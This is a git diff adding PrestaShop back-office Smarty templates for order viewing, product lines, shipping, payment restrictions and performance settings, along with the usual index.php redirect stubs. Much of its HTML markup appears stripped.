(AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{* Generate HTML code for printing Invoice Icon with link *} + +{if ($order_state->invoice || $order->invoice_number)} + invoice +{else} + - +{/if} + + +{* Generate HTML code for printing Delivery Icon with link *} + +{if ($order_state->delivery || $order->delivery_number)} + delivery +{else} + - +{/if} + diff --git a/BO/themes/default/template/controllers/orders/_product_line.tpl b/BO/themes/default/template/controllers/orders/_product_line.tpl new file mode 100755 index 0000000..f16827c --- /dev/null +++ b/BO/themes/default/template/controllers/orders/_product_line.tpl @@ -0,0 +1,153 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{* Assign product price *} +{if ($order->getTaxCalculationMethod() == $smarty.const.PS_TAX_EXC)} + {assign var=product_price value=($product['unit_price_tax_excl'] + $product['ecotax'])} +{else} + {assign var=product_price value=$product['unit_price_tax_incl']} +{/if} + +{if ($product['product_quantity'] > $product['customizationQuantityTotal'])} +id && isset($product.image_size)} height="{$product['image_size'][1] + 7}"{/if}> + {if isset($product.image) && $product.image->id}{$product.image_tag}{/if} + + {$product['product_name']}
+ {if $product.product_reference}{l s='Ref:'} {$product.product_reference}
{/if} + {if $product.product_supplier_reference}{l s='Ref Supplier:'} {$product.product_supplier_reference}{/if} +
+ + {displayPrice price=$product_price currency=$currency->id} + {if $can_edit} + + {/if} + + + {$product['product_quantity']} + {if $can_edit} + + {/if} + + {if ($order->hasBeenPaid())} + + {$product['product_quantity_refunded']} + {if count($product['refund_history'])} + + + +
+ {l s='Refund history'} + {foreach $product['refund_history'] as $refund} + {l s='%1s - %2s' sprintf=[{dateFormat date=$refund.date_add}, {displayPrice price=$refund.amount_tax_incl}]}
+ {/foreach} +
+
+ {/if} + + {/if} + {if $order->hasBeenDelivered() || $order->hasProductReturned()} + + {$product['product_quantity_return']} + {if count($product['return_history'])} + + + +
+ {l s='Return history'} + {foreach $product['return_history'] as $return} + {l s='%1s - %2s - %3s' sprintf=[{dateFormat date=$return.date_add}, $return.product_quantity, $return.state]}
+ {/foreach} +
+
+ {/if} + + {/if} + {if $stock_management}{$product['current_stock']}{/if} + + {displayPrice price=(Tools::ps_round($product_price, 2) * ($product['product_quantity'] - $product['customizationQuantityTotal'])) currency=$currency->id} + +   + + + + + {if ((!$order->hasBeenDelivered() OR Configuration::get('PS_ORDER_RETURN')) AND (int)($product['product_quantity_return']) < (int)($product['product_quantity']))} + = $product['product_quantity'])}disabled="disabled" {/if}/> + {else} + -- + {/if} + + + {if ($product['product_quantity_return'] + $product['product_quantity_refunded'] >= $product['product_quantity'])} + + {elseif (!$order->hasBeenDelivered() OR Configuration::get('PS_ORDER_RETURN'))} + + {/if} + + {if $product['customizationQuantityTotal']} + {assign var=productQuantity value=($product['product_quantity']-$product['customizationQuantityTotal'])} + {else} + {assign var=productQuantity value=$product['product_quantity']} + {/if} + + {if ($order->hasBeenDelivered())} + {$product['product_quantity_refunded']}/{$productQuantity-$product['product_quantity_refunded']} + {elseif ($order->hasBeenPaid())} + {$product['product_quantity_return']}/{$productQuantity} + {else} + 0/{$productQuantity} + {/if} + + +
{l s='Quantity:'}
0/{$productQuantity-$product['product_quantity_refunded']}
+
{l s='Amount:'}
{$currency->prefix} {$currency->suffix}
{if !empty($product['amount_refund']) && $product['amount_refund'] > 0}({l s='%s refund' sprintf=$product['amount_refund']}){/if} + + + + {if ($can_edit && !$order->hasBeenDelivered())} + + {if sizeof($invoices_collection)} + + {else} +   + {/if} + + + {l s='Edit'} + + + {l s='Delete'} + + {/if} + +{/if} diff --git a/BO/themes/default/template/controllers/orders/_shipping.tpl b/BO/themes/default/template/controllers/orders/_shipping.tpl new file mode 100755 index 0000000..ca22c24 --- /dev/null +++ b/BO/themes/default/template/controllers/orders/_shipping.tpl @@ -0,0 +1,74 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + ++ + + + + + + + + + + + + + + + + + {foreach from=$order->getShipping() item=line} + + + + + + + + + {/foreach} + +
{l s='Date'}{l s='Type'}{l s='Carrier'}{l s='Weight'}{l s='Shipping cost'}{l s='Tracking number'}
{dateFormat date=$line.date_add full=true}{$line.type}{$line.carrier_name}{$line.weight|string_format:"%.3f"} {Configuration::get('PS_WEIGHT_UNIT')} + {if $order->getTaxCalculationMethod() == $smarty.const.PS_TAX_INC} + {displayPrice price=$line.shipping_cost_tax_incl currency=$currency->id} + {else} + {displayPrice price=$line.shipping_cost_tax_excl currency=$currency->id} + {/if} + + {if $line.url && $line.tracking_number}{$line.tracking_number}{else}{$line.tracking_number}{/if} + {if $line.can_edit} +
+ + {l s='Edit'} + +
+ {/if} +
diff --git a/BO/themes/default/template/controllers/orders/form.tpl b/BO/themes/default/template/controllers/orders/form.tpl new file mode 100755 index 0000000..280faff --- /dev/null +++ b/BO/themes/default/template/controllers/orders/form.tpl @@ -0,0 +1,1258 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +{include file="toolbar.tpl" toolbar_btn=$toolbar_btn toolbar_scroll=$toolbar_scroll title=$title} +
{block name="leadin"}{/block}
+ +
+ {l s='Customer'} + +
+ +

{l s='Search a customer by tapping the first letters of his/her name'}

+ + {l s='Add new customer'} + +
+
+
+

+
+ +
+ +
+ +
+ +
+ +
+
+
+
+
+ diff --git a/BO/themes/default/template/controllers/orders/form_customization_feedback.tpl b/BO/themes/default/template/controllers/orders/form_customization_feedback.tpl new file mode 100755 index 0000000..4b070b5 --- /dev/null +++ b/BO/themes/default/template/controllers/orders/form_customization_feedback.tpl @@ -0,0 +1,50 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +{if isset($css_files)} + {foreach from=$css_files key=css_uri item=media} + + {/foreach} +{/if} + + + + + diff --git a/BO/themes/default/template/controllers/orders/helpers/index.php b/BO/themes/default/template/controllers/orders/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/orders/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/orders/helpers/view/index.php b/BO/themes/default/template/controllers/orders/helpers/view/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/orders/helpers/view/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/orders/helpers/view/view.tpl b/BO/themes/default/template/controllers/orders/helpers/view/view.tpl new file mode 100755 index 0000000..01e70bc --- /dev/null +++ b/BO/themes/default/template/controllers/orders/helpers/view/view.tpl @@ -0,0 +1,795 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/view/view.tpl"} + +{block name="override_tpl"} + + + {assign var="hook_invoice" value={hook h="displayInvoice" id_order=$order->id}} + {if ($hook_invoice)} +
{$hook_invoice}

'; + {/if} + +
+
+ {if (count($invoices_collection))} + + {l s='View invoice'} {l s='View invoice'} + + {else} + {l s='No invoice'} {l s='No invoice'} + {/if} + | + {if (($currentState && $currentState->delivery) || $order->delivery_number)} + + {l s='View delivery slip'} {l s='View delivery slip'} + + {else} + {l s='No delivery slip'} {l s='No delivery slip'} + {/if} + | + {l s='Print order'} {l s='Print order'} +
+ +
+
+ +
+ +
+ + + +
+
+ + + + + + + + + + {foreach from=$history item=row key=key} + {if ($key == 0)} + + + + + + + {else} + + + + + + + {/if} + {/foreach} +
{$row['ostate_name']|stripslashes}{if $row['employee_lastname']}{$row['employee_firstname']|stripslashes} {$row['employee_lastname']|stripslashes}{/if}{dateFormat date=$row['date_add'] full=true}
{$row['ostate_name']|stripslashes}{if $row['employee_lastname']}{$row['employee_firstname']|stripslashes} {$row['employee_lastname']|stripslashes}{else} {/if}{dateFormat date=$row['date_add'] full=true}
+ + {if $customer->id} + +
+
+ {l s='Customer information'} + {$customer->firstname} {$customer->lastname} ({l s='#'}{$customer->id})
+ ({$customer->email})

+ {if ($customer->isGuest())} + {l s='This order has been placed by a guest.'} + {if (!Customer::customerExists($customer->email))} +
+ +

+ {l s='This feature will generate a random password and send an email to the customer.'} +
+ {else} +
{l s='A registered customer account has already claimed this email address'}
+ {/if} + {else} + {l s='Account registered:'} {dateFormat date=$customer->date_add full=true}
+ {l s='Valid orders placed:'} {$customerStats['nb_orders']}
+ {l s='Total spent since registration:'} {displayPrice price=Tools::ps_round(Tools::convertPrice($customerStats['total_orders'], $currency), 2) currency=$currency->id}
+
+ {/if} + {/if} + + + {if (sizeof($sources))} +
+
+ {l s='Sources'} + +
+ {/if} + + + {hook h="displayAdminOrder" id_order=$order->id} +
+ + + +
+
+ {l s='Orders'} : + {if $previousOrder}{l s='< Prev'}{/if} + {if $nextOrder}{l s='Next >'}{/if} +
+
+ + + {if count($order->getBrother()) > 0} +
+ {l s='Linked orders'} + + + + + + + + + + + {foreach $order->getBrother() as $brother_order} + + + + + + + {/foreach} + +
+ {l s='Order no. '} + + {l s='Status'} + + {l s='Amount'} + +
+ #{'%06d'|sprintf:$brother_order->id} + + {$brother_order->getCurrentOrderState()->name[$current_id_lang]} + + {displayPrice price=$brother_order->total_paid_tax_incl currency=$currency->id} + + {l s='See the order'} +
+
+
+ {/if} + + +
+ {l s='Documents'} + + {* Include document template *} + {include file='controllers/orders/_documents.tpl'} +
+
+ + +
+ {l s='Payment: '} + + {if (!$order->valid && sizeof($currencies) > 1)} +
+

{l s='Don\'t forget to update your conversion rate before making this change.'}

+ + + +
+
+ {/if} + + {if count($order->getOrderPayments()) > 0} +

+ {l s='Warning'} {displayPrice price=$total_paid currency=$currency->id} + {l s='paid instead of'} {displayPrice price=$orders_total_paid_tax_incl currency=$currency->id} + + {foreach $order->getBrother() as $brother_order} + {if $brother_order@first} + {if count($order->getBrother()) == 1} +
{l s='This warning also concerns order '} + {else} +
{l s='This warning also concerns the next orders:'} + {/if} + {/if} + #{'%06d'|sprintf:$brother_order->id} + {/foreach} +

+ {/if} + +
+ + + + + + + + + + + + + + + + + + + + + {foreach from=$order->getOrderPaymentCollection() item=payment} + + + + + + + + + + + + {foreachelse} + + + + {/foreach} + + + + + + {if count($invoices_collection) > 0} + + {/if} + + + +
{l s='Date'}{l s='Payment method'}{l s='Transaction ID'}{l s='Amount'}{l s='Invoice'} 
{dateFormat date=$payment->date_add full=true}{$payment->payment_method}{$payment->transaction_id}{displayPrice price=$payment->amount currency=$payment->id_currency} + {if $invoice = $payment->getOrderInvoice($order->id)} + {$invoice->getInvoiceNumberFormatted($current_id_lang)} + {else} + {l s='No invoice'} + {/if} + + {l s='See payment information'} +
+

{l s='No payments are available'}

+
+ + + + + + + + +
+
+
+
+ + + {if !$order->isVirtual()} +
+ {l s='Shipping'} + +
+ {l s='Recycled packaging'} + {if $order->recyclable} + + {else} + + {/if} +
+
+ {l s='Gift wrapping'} + {if $order->gift} + +
+
+ {if $order->gift_message} +
{l s='Message'}
{$order->gift_message|nl2br}
+ {/if} + {else} + + {/if} +
+
+ + {include file='controllers/orders/_shipping.tpl'} + + {if $carrierModuleCall} + {$carrierModuleCall} + {/if} +
+
+ + +
+ {l s='Merchandise returns'} + + {if $order->getReturn()|count > 0} + + + + + + + + + + + {foreach from=$order->getReturn() item=line} + + + + + + + {/foreach} + +
DateTypeCarrierTracking number
{$line.date_add}{$line.type}{$line.state_name} + {if isset($line.url) && isset($line.tracking_number)}{$line.tracking_number}{elseif isset($line.tracking_number)}{$line.tracking_number}{/if} + {if $line.can_edit} +
+ + {l s='Edit'} + +
+ {/if} +
+ {else} + {l s='No merchandise returned yet.'} + {/if} + + {if $carrierModuleCall} + {$carrierModuleCall} + {/if} +
+ {/if} +
+ +
+
+ +
+ + {if !$order->isVirtual()} +
+ +
+ {l s='Shipping address'}{l s='Shipping address'} + + {if $can_edit} +
+
+

+ + +

+
+
+ {/if} + +
+ + +
+ + {displayAddressDetail address=$addresses.delivery newLine='
'} + {if $addresses.delivery->other}
{$addresses.delivery->other}
{/if} +
+
+ {/if} +
+ +
+ {l s='Invoice address'}{l s='Invoice address'} + + {if $can_edit} +
+
+

+ + +

+
+
+ {/if} + +
+ +
+ + {displayAddressDetail address=$addresses.invoice newLine='
'} + {if $addresses.invoice->other}
{$addresses.invoice->other}
{/if} +
+
+
+
+ +
+ +
+
+ +
+ {l s='Products:'}{l s='Products:'} +
+ {if $can_edit} + {if !$order->hasBeenDelivered()}{/if} +
+ +
+

+ {/if} + + + + + + + {if ($order->hasBeenPaid())}{/if} + {if ($order->hasBeenDelivered() || $order->hasProductReturned())}{/if} + {if $stock_management}{/if} + + + + + + {if !$order->hasBeenDelivered()} + + {/if} + + + {foreach from=$products item=product key=k} + {* Include customized datas partial *} + {include file='controllers/orders/_customized_data.tpl'} + + {* Include product line partial *} + {include file='controllers/orders/_product_line.tpl'} + {/foreach} + {if $can_edit} + {include file='controllers/orders/_new_product.tpl'} + {/if} +
 {l s='Product'}{l s='Unit Price'} *{l s='Qty'}{l s='Refunded'}{l s='Returned'}{l s='Available quantity'}{l s='Total'} * + {l s='Action'} +
+ +
+ * {l s='For this customer group, prices are displayed as:'} + {if ($order->getTaxCalculationMethod() == $smarty.const.PS_TAX_EXC)} + {l s='tax excluded.'} + {else} + {l s='tax included.'} + {/if} + + {if !Configuration::get('PS_ORDER_RETURN')} +

{l s='Merchandise returns are disabled'} + {/if} +
+
+ + + + + + + total_discounts_tax_incl == 0}style="display: none;"{/if}> + + + + + total_wrapping_tax_incl == 0}style="display: none;"{/if}> + + + + + + + + + + + + + + +
{l s='Products:'}{displayPrice price=$order->total_products_wt currency=$currency->id}
{l s='Discounts'}-{displayPrice price=$order->total_discounts_tax_incl currency=$currency->id}
{l s='Wrapping'}{displayPrice price=$order->total_wrapping_tax_incl currency=$currency->id}
{l s='Shipping'}{displayPrice price=$order->total_shipping_tax_incl currency=$currency->id}
{l s='Total'} + {displayPrice price=$order->total_paid_tax_incl currency=$currency->id} +
+
+
+ + {if (sizeof($discounts) || $can_edit)} +
+ + + + + {if $can_edit}{/if} + + {foreach from=$discounts item=discount} + + + + {if $can_edit} + + {/if} + + {/foreach} + {if $can_edit} + + + + + + + {/if} +
{l s='Discounts'}{l s='Discount name'}{l s='Value'}{l s='Action'}
{$discount['name']} + {if $discount['value'] != 0.00} + - + {/if} + {displayPrice price=$discount['value'] currency=$currency->id} + + {l s='Delete voucher'} +
+ {l s='Add'} {l s='Add a new discount'} +
+ {include file='controllers/orders/_discount_form.tpl'} +
+
+ {/if} +
+ +
 
+ + +
+
+
 
+ +
+
+
+ {l s='New message'} + + {l s='Click here'} {l s='to see all messages.'}
+
+

+ {l s='Display to customer?'} + {l s='Yes'} + {l s='No'} +



+

+ + + +
+
+
+ + {if (sizeof($messages))} +
+
+ {l s='Messages'} + {foreach from=$messages item=message} +
+ {if ($message['is_new_for_me'])} + + {/if} + {l s='At'} {dateFormat date=$message['date_add']} + {l s='from'} {if ($message['elastname']|escape:'htmlall':'UTF-8')}{$message['efirstname']|escape:'htmlall':'UTF-8'} {$message['elastname']|escape:'htmlall':'UTF-8'}{else}{$message['cfirstname']|escape:'htmlall':'UTF-8'} {$message['clastname']|escape:'htmlall':'UTF-8'}{/if} + {if ($message['private'] == 1)}{l s='Private'}{/if} +

{$message['message']|escape:'htmlall':'UTF-8'|nl2br}

+
+
+ {/foreach} +
+ {/if} +
+ + +
 
+

{l s='Back to list'}
+{/block} diff --git a/BO/themes/default/template/controllers/orders/index.php b/BO/themes/default/template/controllers/orders/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/orders/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/outstanding/_print_pdf_icon.tpl b/BO/themes/default/template/controllers/outstanding/_print_pdf_icon.tpl new file mode 100755 index 0000000..988be47 --- /dev/null +++ b/BO/themes/default/template/controllers/outstanding/_print_pdf_icon.tpl @@ -0,0 +1,29 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{* Generate HTML code for printing Invoice Icon with link *} + + invoice + \ No newline at end of file diff --git a/BO/themes/default/template/controllers/outstanding/index.php b/BO/themes/default/template/controllers/outstanding/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/outstanding/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/payment/helpers/index.php b/BO/themes/default/template/controllers/payment/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/payment/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/payment/helpers/view/index.php b/BO/themes/default/template/controllers/payment/helpers/view/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/payment/helpers/view/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/payment/helpers/view/view.tpl b/BO/themes/default/template/controllers/payment/helpers/view/view.tpl new file mode 100755 index 0000000..cc33620 --- /dev/null +++ b/BO/themes/default/template/controllers/payment/helpers/view/view.tpl @@ -0,0 +1,48 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/view/view.tpl"} +{block name="override_tpl"} +{if !$shop_context} +
{l s='You have more than one shop and must select one to configure payment.'}
+{else} + {if isset($modules_list)} + {$modules_list} + {/if} + +
+ + {if $display_restrictions} +

{l s='Payment module restrictions'}

+ {foreach $lists as $list} + {include file='controllers/payment/restrictions.tpl'} +
+ {/foreach} + {else} +
+
{l s='No payment module installed'}
+ {/if} +{/if} +{/block} diff --git a/BO/themes/default/template/controllers/payment/index.php b/BO/themes/default/template/controllers/payment/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/payment/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/payment/restrictions.tpl b/BO/themes/default/template/controllers/payment/restrictions.tpl new file mode 100755 index 0000000..ffc9f62 --- /dev/null +++ b/BO/themes/default/template/controllers/payment/restrictions.tpl @@ -0,0 +1,99 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
+
+ {$list['title']} +

{$list['desc']}

+ + + + {foreach $payment_modules as $module} + {if $module->active} + + {/if} + {/foreach} + + {foreach $list['items'] as $item} + + + {foreach $payment_modules as $key_module => $module} + {if $module->active} + + {/if} + {/foreach} + + {/foreach} + {if $list['name_id'] === 'currency'} + + + {foreach $payment_modules as $module} + {if $module->active} + + {/if} + {/foreach} + + + + {foreach $payment_modules as $module} + {if $module->active} + + {/if} + {/foreach} + + {/if} +
{$list['title']} + {if $list['name_id'] != 'currency' || $module->currencies_mode == 'checkbox'} + + + {/if} +  {$module->name} + {if $list['name_id'] != 'currency' || $module->currencies_mode == 'checkbox'} + + {/if} +
{$item['name']} + {assign var='type' value='null'} + {if !$item['check_list'][$key_module]} + {* Keep $type to null *} + {elseif $list['name_id'] === 'currency'} + {if $module->currencies && $module->currencies_mode == 'checkbox'} + {$type = 'checkbox'} + {elseif $module->currencies && $module->currencies_mode == 'radio'} + {$type = 'radio'} + {/if} + {else} + {$type = 'checkbox'} + {/if} + {if $type != 'null'} + + {else} + -- + {/if} +
{l s='Customer currency'}{if $module->currencies && $module->currencies_mode == 'radio'}$list['name_id'])} checked="checked"{/if} />{else}--{/if}
{l s='Shop default currency'}{if $module->currencies && $module->currencies_mode == 'radio'}$list['name_id'])} checked="checked"{/if} />{else}--{/if}
+

+
+
\ No newline at end of file diff --git a/BO/themes/default/template/controllers/performance/helpers/form/form.tpl b/BO/themes/default/template/controllers/performance/helpers/form/form.tpl new file mode 100755 index 0000000..6a80019 --- /dev/null +++ b/BO/themes/default/template/controllers/performance/helpers/form/form.tpl @@ -0,0 +1,211 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name="label"} + {if $input.type == 'text' && $input.name == 'ps_cache_fs_directory_depth'} +
+
{l s='The CacheFS system should be used only when the infrastructure contains one front-end server. If you are not sure, ask your hosting company.'}
+ {else} + {$smarty.block.parent} + {/if} +{/block} + +{block name="input"} + {if $input.type == 'radio' && $input.name == 'combination' && $input.disabled} +
+ {l s='This feature cannot be disabled because it is currently in use.'} +
